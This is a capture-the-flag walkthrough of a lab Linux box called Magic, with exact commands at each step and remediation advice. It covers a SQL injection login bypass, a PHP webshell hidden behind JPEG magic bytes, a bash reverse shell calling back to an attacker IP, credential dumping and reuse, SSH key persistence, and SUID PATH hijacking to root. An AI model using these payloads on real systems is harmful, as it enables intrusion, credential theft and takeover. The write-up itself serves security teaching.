← all walkthroughs

Magic

Linux· Medium· Web
owned
2026-07-09
time to own
12m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found an Apache-hosted PHP portfolio application called Magic on port 80. Its login form concatenated user input directly into a SQL query, allowing a one-character injection string to bypass password verification and grant access to the authenticated upload panel. A PHP webshell was smuggled past the upload filter by prepending valid JPEG magic bytes to a PHP payload and saving it with a double extension; Apache's multi-extension MIME handling executed the inner .php handler, delivering a reverse shell as the web server account www-data.

The application's on-disk database configuration file disclosed MySQL credentials in plaintext, which were used to query the local database and recover the application administrator password. That password had been reused verbatim for the local OS account theseus; because SSH rejected password authentication, a Python pseudo-terminal shim was used to drive su interactively with the recovered password, yielding the user flag. An SSH keypair was installed for a stable session.

Enumeration as theseus revealed that the non-standard SUID-root binary /bin/sysinfo invoked system utilities by short name rather than absolute path, inheriting the caller's PATH; planting malicious shell scripts in /tmp ahead of the trusted PATH caused sysinfo to copy /bin/bash to a SUID-root file, which was then invoked for a root shell and the root flag.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationService enumeration / web content discovery
Mapped the web application's attack surface
A port scan confirmed two services: SSH on 22/tcp configured for public-key-only authentication and Apache 2.4.29 on 80/tcp. Browsing the web root revealed a PHP portfolio application called Magic. Directory enumeration discovered login.php and upload.php; the upload page redirected unauthenticated visitors back to login, making the login form the first mandatory target.
Nmap returned 22/tcp (OpenSSH 7.6p1 Ubuntu) and 80/tcp (Apache 2.4.29); gobuster/dirb revealed login.php and upload.php; curl to upload.php returned HTTP 302 to login.php.
Exact commands 4
Service-version scan against both open ports.
nmap -Pn -sV -p 22,80 $TARGET
Confirm the web application and identify the framework.
curl -si http://$TARGET/
Enumerate PHP endpoints; reveals login.php and upload.php.
gobuster dir -u http://$TARGET/ -w /usr/share/wordlists/dirb/common.txt -x php
Confirm upload.php requires authentication (expect HTTP 302 to login.php).
curl -si http://$TARGET/upload.php
2ExploitationSQL injection — authentication bypass (CWE-89)
Bypassed login authentication with a SQL injection string
The /login.php form built its authentication query by concatenating user input directly into a SQL string without sanitization or parameterization. Submitting the username admin'-- - caused the database to evaluate the WHERE clause as always-true and discard the password check entirely, returning a valid session cookie and redirecting to upload.php — all without knowing the real password.
Curl with username=admin'-- - returned HTTP 302 Location: upload.php and set a PHP session cookie, confirming unauthenticated login.
Exact commands 1
Submit the SQLi bypass; -c cj.txt saves the authenticated session cookie for the next step.
curl -sS -i -c cj.txt --data-urlencode "username=admin'-- -" --data-urlencode "password=x" http://$TARGET/login.php
FixUse parameterized queries to prevent SQL injection on the login formCritical
WeaknessThe login.php form built its SQL authentication query by concatenating user-supplied input directly into a string. A single apostrophe and a SQL comment in the username field altered the query's logic to bypass the password check entirely, granting access to any account without a valid credential.
FixReplace all string-concatenated SQL queries with PDO or MySQLi prepared statements and bound parameters. Example: $stmt = $pdo->prepare('SELECT id FROM users WHERE username = ? AND password = ?'); $stmt->execute([$username, $password]); The bound parameter approach is the only reliable fix — input filtering alone is insufficient. Audit all other query construction points in the application for the same pattern.
3ExploitationUnrestricted file upload — magic-byte and double-extension bypass (CWE-434)
Uploaded a PHP webshell disguised as a JPEG image
The upload form validated file type by checking the file extension and reading the image header bytes, but it did not block PHP execution in the upload directory. A PHP webshell was crafted by prepending a valid JPEG magic-byte sequence (\xff\xd8\xff\xe0) directly to the PHP payload and saving the file with the double extension .php.jpg. Apache's mod_mime matched the inner .php extension and handed execution to the PHP interpreter, while the file filter passed the file as an acceptable image. The uploaded file was immediately reachable and executed PHP under the web server account.
Curl GET to /images/uploads/sh.php.jpg?c=id returned uid=33(www-data), confirming server-side PHP execution.
Exact commands 3
Craft the polyglot file: valid JPEG header immediately followed by the PHP webshell payload.
printf '\xff\xd8\xff\xe0<?php system($_GET["c"]); ?>' > sh.php.jpg
Upload the disguised webshell using the authenticated session cookie from step 2.
curl -sS -b cj.txt -F "file=@sh.php.jpg" http://$TARGET/upload.php
Verify code execution — expect uid=33(www-data) in the response.
curl -sS --max-time 5 "http://$TARGET/images/uploads/sh.php.jpg?c=id"
FixEnforce strict file-upload validation and disable PHP execution in the upload directoryCritical
WeaknessThe upload form accepted files whose JPEG magic-byte header satisfied a superficial image check while a .php inner extension caused Apache's multi-extension MIME handler to execute the file as PHP. No execution restriction was placed on the upload directory itself, so any uploaded file with a recognisable PHP extension ran server-side code as the web user.
FixApply all four controls together: (1) Validate files server-side using PHP's finfo_file() or getimagesize() against an explicit MIME allowlist (image/jpeg, image/png only) — not the client-supplied Content-Type. (2) Rename uploaded files on save to a cryptographically random UUID with a safe, forced extension (.jpg) so externally controlled names never reach the filesystem or Apache's handler selection. (3) Disable PHP execution in the upload directory unconditionally via an Apache directive — add 'php_admin_flag engine off' to the vhost block for that path, or place a .htaccess file containing 'php_flag engine off' in the uploads folder. (4) Consider serving user-uploaded static content from a separate subdomain with no scripting runtime.
4FootholdWebshell code execution / reverse TCP shell (T1505.003)
Triggered the webshell for an interactive reverse shell as www-data
With arbitrary PHP execution confirmed through the webshell, I used it to initiate an outbound Bash reverse shell connection to a listener on my machine, establishing an interactive session running as uid=33 (www-data). This foothold provided full read access to the web application's files on disk, including its database configuration.
Listener received connection; id command returned uid=33(www-data) gid=33(www-data); ls /var/www/Magic/images/uploads confirmed .htaccess, db.php5, index.php, and the uploaded shell.
Exact commands 2
Start the local listener before triggering the shell.
nc -lvnp 4444
Trigger the reverse shell; replace $ATTACKER_IP with my VPN IP. The --max-time 3 ensures the curl call does not hang indefinitely.
curl -sS --max-time 3 "http://$TARGET/images/uploads/sh.php.jpg?c=$(python3 -c "import urllib.parse; print(urllib.parse.quote('bash -c \'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1\''))")"
5Credential AccessCredentials in files / local database credential dump (T1552.001)
Read the database config file and recovered credentials from the live database
As www-data I had read access to the entire web root. The file /var/www/Magic/db.php5 contained the MySQL connection string with the username theseus and password [REDACTED: recovered credential] stored in plaintext. The mysql command-line client was absent from the system, so PHP's built-in PDO driver was invoked directly on the command line to query the Magic database's login table, which returned the application administrator credentials: admin / [REDACTED: recovered credential].
Exact commands 2
Read the database configuration file — discloses MySQL credentials theseus:[REDACTED: recovered credential].
cat /var/www/Magic/db.php5
Dump the login table via PHP PDO inline (no mysql client needed); returns admin:[REDACTED: recovered credential].
php -r '$pdo=new PDO("mysql:host=localhost;dbname=Magic","theseus","$PASSWORD2"); foreach($pdo->query("SELECT * FROM login") as $r){print_r($r);}'
FixRemove plaintext database credentials from web-accessible config filesHigh
WeaknessThe MySQL username and password were stored in plaintext in /var/www/Magic/db.php5, a file readable by the www-data process account. A single web server compromise immediately exposed valid database credentials, enabling a full dump of every password in the application.
FixStore database credentials as operating-system environment variables injected at service startup (in the Apache or PHP-FPM systemd unit file via EnvironmentFile=), or retrieve them at runtime from a secrets manager (HashiCorp Vault, AWS Secrets Manager, or similar). If a config file is unavoidable, place it outside the document root, restrict ownership to the application's dedicated service account (chmod 640, chown root:www-data), and ensure the web server config explicitly denies HTTP access to .php5 and other config file extensions.
6Lateral MovementCredential reuse / OS account access (T1078)
Switched to the theseus OS account by reusing the application password
The password [REDACTED: recovered credential] recovered from the application database had been reused for the local Linux account theseus. SSH rejected password-based login for this account (public-key-only policy was in effect), but the su command was available from the www-data shell. Because su requires an interactive terminal, a Python PTY shim was used to allocate a pseudo-terminal inside the www-data session and drive the su prompt automatically, yielding a theseus shell and the user flag. An ED25519 SSH keypair was then generated and the public key written into theseus's authorized_keys through the same mechanism, providing a stable and non-interactive SSH session for subsequent enumeration.
PTY su wrapper returned uid=1000(theseus) gid=1000(theseus) groups=1000(theseus),100(users); /home/theseus/user.txt read as <user.txt>; SSH password-auth rejection confirmed as 'Permission denied (publickey)'.
Exact commands 4
Run inside the www-data reverse shell; allocates a PTY, drives su -theseus with the recovered password, and prints id plus user.txt.
python3 - <<'PY'
import os, pty, select, sys, time
password = b"$PASSWORD\n"
pid, fd = pty.fork()
if pid == 0:
    os.execvp('su', ['su', '-', 'theseus', '-c', 'id; cat /home/theseus/user.txt'])
buf = b''; sent = False; end = time.time() + 10
while time.time() < end:
    r,_,_ = select.select([fd],[],[],0.2)
    if fd in r:
        data = os.read(fd, 4096)
        if not data: break
        sys.stdout.buffer.write(data); sys.stdout.buffer.flush()
        if not sent and b'Password' in data:
            os.write(fd, password); sent = True
PY
Generate a keypair on my machine for persistent access.
ssh-keygen -t ed25519 -N '' -f /tmp/magic_theseus_key
Install the public key into theseus's authorized_keys; paste the contents of magic_theseus_key.pub.
# Run via the PTY su wrapper as theseus:
mkdir -p ~/.ssh && echo 'ssh-ed25519 AAAA...<pub-key-contents>' >> ~/.ssh/authorized_keys && chmod 700 ~/.ssh && chmod 600 ~/.ssh/authorized_keys
Connect with the installed key for a stable SSH session as theseus.
ssh -i /tmp/magic_theseus_key -o StrictHostKeyChecking=no theseus@$TARGET
FixEnforce unique passwords for OS accounts and never reuse application credentialsHigh
WeaknessThe password stored in the web application database ([REDACTED: recovered credential]) was identical to the password of the local Linux account theseus. A single database read turned a web application breach into full operating-system access, skipping any additional authentication barrier.
FixEnforce a policy requiring that passwords for OS accounts differ from all application and service account passwords on the same host. For local Linux accounts, generate a long random passphrase stored only in a credential vault; set it with passwd and then immediately lock it with passwd -l to prevent interactive su use (relying solely on SSH keys and sudo for legitimate access). Enable pam_pwquality to enforce minimum complexity and check against a compromised-password list. Because SSH is already configured for public-key-only authentication on this host, preserve that setting and extend it by disabling PasswordAuthentication in /etc/ssh/sshd_config for all users.
7Privilege EscalationSUID binary PATH hijacking (T1574.007)
Hijacked the PATH of a SUID root binary to execute arbitrary code as root
Enumeration as theseus revealed /bin/sysinfo as a non-standard SUID-root binary. Inspecting its strings output showed it called system utilities — lshw, fdisk, and free — by short name rather than absolute path, which means it inherits and searches the caller's PATH environment variable when running with root privileges. I planted malicious shell scripts named lshw, fdisk, and free in /tmp, each copying /bin/bash to /tmp/rootbash and setting its SUID bit. Running sysinfo with /tmp prepended to PATH caused it to execute my scripts as root. Invoking /tmp/rootbash -p then spawned a root shell, and /root/root.txt was read.
Find / -perm -4000 returned /bin/sysinfo owned root with mode 4755; strings /bin/sysinfo contained 'lshw', 'fdisk', 'free' without leading slashes; after PATH hijack /tmp/rootbash -p produced uid=0(root); root.txt read as <root.txt>.
Exact commands 6
Enumerate SUID binaries; /bin/sysinfo is non-standard and stands out.
find / -perm -4000 -ls 2>/dev/null
Confirm sysinfo references utility names without absolute paths.
strings /bin/sysinfo | grep -E '^(lshw|fdisk|free|df|hwinfo)'
Plant malicious replacements for each utility sysinfo calls; all three create the SUID rootbash.
cat > /tmp/lshw <<'EOF'
#!/bin/sh
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF
chmod +x /tmp/lshw
cp /tmp/lshw /tmp/fdisk
cp /tmp/lshw /tmp/free
Run sysinfo with /tmp first in PATH; as root it executes the malicious scripts and creates /tmp/rootbash with SUID bit.
PATH=/tmp:$PATH /bin/sysinfo
-p preserves the SUID effective UID (root), dropping into a root shell.
/tmp/rootbash -p
Read the root flag — value is <root.txt>.
cat /root/root.txt
FixRemove the SUID bit from /bin/sysinfo or patch it to use absolute binary pathsCritical
WeaknessThe SUID-root binary /bin/sysinfo called system utilities (lshw, fdisk, free) by short name, inheriting the calling user's PATH environment variable while executing with root privileges. Any local user could plant a malicious script earlier in their PATH and have sysinfo execute it as root.
FixIf /bin/sysinfo is not required, remove it: rm /bin/sysinfo. If it must remain, strip its SUID bit: chmod u-s /bin/sysinfo and run it only via a controlled mechanism (sudo rule with a restricted environment). If a patched version must be SUID, recompile it so every child-process invocation uses the full absolute path (/usr/bin/lshw, /sbin/fdisk, /usr/bin/free) and clear the PATH variable in its execution environment before any exec call. As an ongoing control, schedule periodic SUID/SGID audits: find / -perm /6000 -ls 2>/dev/null and compare against a known-good baseline.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp